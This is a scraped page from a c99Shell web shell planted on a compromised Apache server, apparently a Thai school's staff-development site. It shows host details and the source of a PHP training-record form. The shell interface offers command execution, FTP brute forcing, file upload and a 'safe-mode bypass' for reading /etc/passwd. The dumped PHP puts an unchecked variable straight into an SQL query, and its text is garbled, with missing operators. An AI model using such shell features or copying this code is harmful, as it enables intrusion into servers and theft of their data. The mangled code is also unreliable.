!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddTraining1.php (9.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 session_start
();
 if (
session_is_registered("valid_user"))
 {
 
$Username $valid_user;
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
ConnectDB();
  
$sql ="SELECT * FROM personal_tb WHERE Teacher_code='$Teacher_code'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);
?>

<html>
<head>
<title>Form insert  person development</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="../css/cart4.css" type="text/css">
<link href="../css/style1.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#F2FCED">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td> <table width="100%" border="0" cellpadding="0" cellspacing="1">
        <tr > 
          <td width="25%" class="table" background="../Image/bard1.jpg"> <div align="center"><strong><font size="2" face="Tahoma"><a href="Menu_Develop.php" class="g">กลับหน้าหลัก</a></font></strong></div></td>
          <td width="25%" class="table" background="../Image/bard1.jpg"> <div align="center"><strong><font size="2" face="Tahoma"><a href="../logout.php" class="g">Logout</a></font></strong></div></td>
        </tr>
      </table></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td>&nbsp;</td>
  </tr>
</table>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" style="border:1px solid gray">
  <tr bgcolor="#D2F49F" > 
    <td height="25" colspan="3" background="../Image/bdevel.jpg"> <div align="center"><font color="#000000" size="4" face="Tahoma"><strong>เพิ่มประวัติแผนการพัฒนาตนเอง</strong></font></div></td>
  </tr>
  <form name="form1" method="POST" action="InsertTraining.php">
    <tr bgcolor="#EEEEEE"> 
      <td width="22%" height="20" bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">ชื่อ-นามสกุล</font></div></td>
      <td width="2%">&nbsp;</td>
      <td width="76%"><font color="#006633" size="2" face="Tahoma"><strong><? echo $rs[Teacher_name] ;?> 
        &nbsp;&nbsp;<? echo $rs[Teacher_lastname] ;?> </strong></font></td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">ระยะเวลา</font></div></td>
      <td bgcolor="#EEEEEE"> <div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
      <td bgcolor="#EEEEEE"> <input type="radio" name="Period_code" value="00001"> 
        <font size="2" face="Tahoma"> ระยะสั้น(0-3)ปี 
        <input type="radio" name="Period_code" value="00002">
        ระยะยาว(3-5)ปี </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="22" bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">เรื่อง</font></div></td>
      <td><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
      <td bgcolor="#EEEEEE"> <input name="Training_name" type="text" class="input1" id="Training_name" size="90"> 
      </td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">สาขาวิชา</font></div></td>
      <td>&nbsp;</td>
      <td> <input name="Major" type="text" class="input1" id="Major" size="50" ></td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td rowspan="2" bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">ประเภท</font></div></td>
      <td height="20" bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
      <td bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
        <input type="radio" name="Training_type" value="00001">
        การอบรม 
        <input type="radio" name="Training_type" value="00002">
        การศึกษาดูงาน 
        <input type="radio" name="Training_type" value="00003">
        ประชุม 
        <input type="radio" name="Training_type" value="00004">
        สัมมนา </font></td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td bgcolor="#EEEEEE">&nbsp;</td>
      <td bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
        <input type="radio" name="Training_type" value="00005">
        การศึกษาต่อ ระดับ 
        <input name="Level" type="text" id="Level2" size="50">
        </font></td>
    </tr>
    <tr bgcolor="#eeeeee"> 
      <td><div align="center"><font size="2" face="Tahoma">ปี พ.ศ</font></div></td>
      <td><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
      <td><font size="2" face="Tahoma"> 
        <input name="Year_std" type="text" id="Year_std" size="8">
        </font></td>
    </tr>
    <tr bgcolor="#eeeeee"> 
      <td> <div align="center"><font size="2" face="Tahoma">สถานที่</font></div></td>
      <td>&nbsp;</td>
      <td><font size="2" face="Tahoma"> 
        <input type="radio" name="Place" value="ในประเทศ">
        ในประเทศ 
        <input type="radio" name="Place" value="นอกประเทศ">
        นอกประเทศ&nbsp;&nbsp;&nbsp;ระบุ 
        <input name="Place_des" type="text" id="Place_des" size="40">
        </font> </td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">วันที่เริ่ม</font></div></td>
      <td>&nbsp;</td>
      <td> <select name="mDate1" id="mDate1" class="select">
          <? getDay1to31();?>
        </select>
        - 
        <select name="mMonth1" id="mMonth1" class="input1">
          <? getThaiMonth();?>
        </select>
        - 
        <input name="mYear1" type="text" size="5" class="input1"> <font size="2" face="Tahoma">&nbsp;&nbsp;วันสิ้นสุด 
        <select name="mDate2" id="mDate2" class="input1">
          <? getDay1to31();?>
        </select>
        - 
        <select name="mMonth2" id="mMonth2" class="input1" >
          <? getThaiMonth();?>
        </select>
        - 
        <input name="mYear2" type="text" size="5" class="input1">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="22" bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">CNEU</font></div></td>
      <td>&nbsp;</td>
      <td> <input name="CNEU" type="text" class="input1" id="CNEU" size="20"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma"> 
          จำนวนชั่วโมง</font></div></td>
      <td>&nbsp;</td>
      <td><input name="Total_hour" type="text" id="Total_hour" size="20" class="input1"> <font size="2" face="Tahoma">ชั่วโมง</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">เงินสนับสนุน</font> 
        </div></td>
      <td>&nbsp;</td>
      <td> <input name="Fund" type="text" class="input1" id="Fund" size="20"> 
        <font size="2" face="Tahoma">บาท&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;แหล่งเงินสนับสนุน</font> 
        <input name="Fund_resource" type="text" class="input1" id="Fund_resource" size="30"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">หน่วยงานที่จัด</font></div></td>
      <td>&nbsp;</td>
      <td> <input name="Organiz" type="text" class="input1" id="Organiz" size="40"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">&nbsp;วันที่ส่งรายงาน</font></div></td>
      <td>&nbsp;</td>
      <td><font size="2" face="Tahoma"> 
        <select name="mDate3" id="select5" class="select">
          <? getDay1to31();?>
        </select>
        - 
        <select name="mMonth3" id="select6" class="input1" >
          <? getThaiMonth();?>
        </select>
        - 
        <input name="mYear3" type="text" class="input1" id="mYear3" size="5">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">เวลาที่เผยแพร่</font></div></td>
      <td>&nbsp;</td>
      <td><font size="2" face="Tahoma"> 
        <input type="radio" name="Period_prop" value="1">
        น้อยกว่า 2 สัปดาห์ 
        <input type="radio" name="Period_prop" value="2">
        2 สัปดาห์ 
        <input type="radio" name="Period_prop" value="3">
        มากกว่า 4 สัปดาห์</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">สรุปผลการประชุม/อบรม/สัมนา</font></div></td>
      <td>&nbsp;</td>
      <td><textarea name="Apply" cols="80" rows="10" id="Apply" class="input1"></textarea></td>
    </tr>
    <tr bgcolor="#D2F49F" > 
      <td height="25" colspan="3" background="../Image/bdevel.jpg"> <div align="center"> 
          <input type="hidden" name="Teacher_code" value="<? echo $rs[Teacher_code]?>">
          <input type="submit" name="Submit" value=" บันทึก " class="button">
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          <input type="reset" name="Submit2" value="เริ่มใหม่" class="button">
        </div></td>
    </tr>
  </form>
</table>
<p>&nbsp;</p></body>
</html>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../../Login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0105 ]--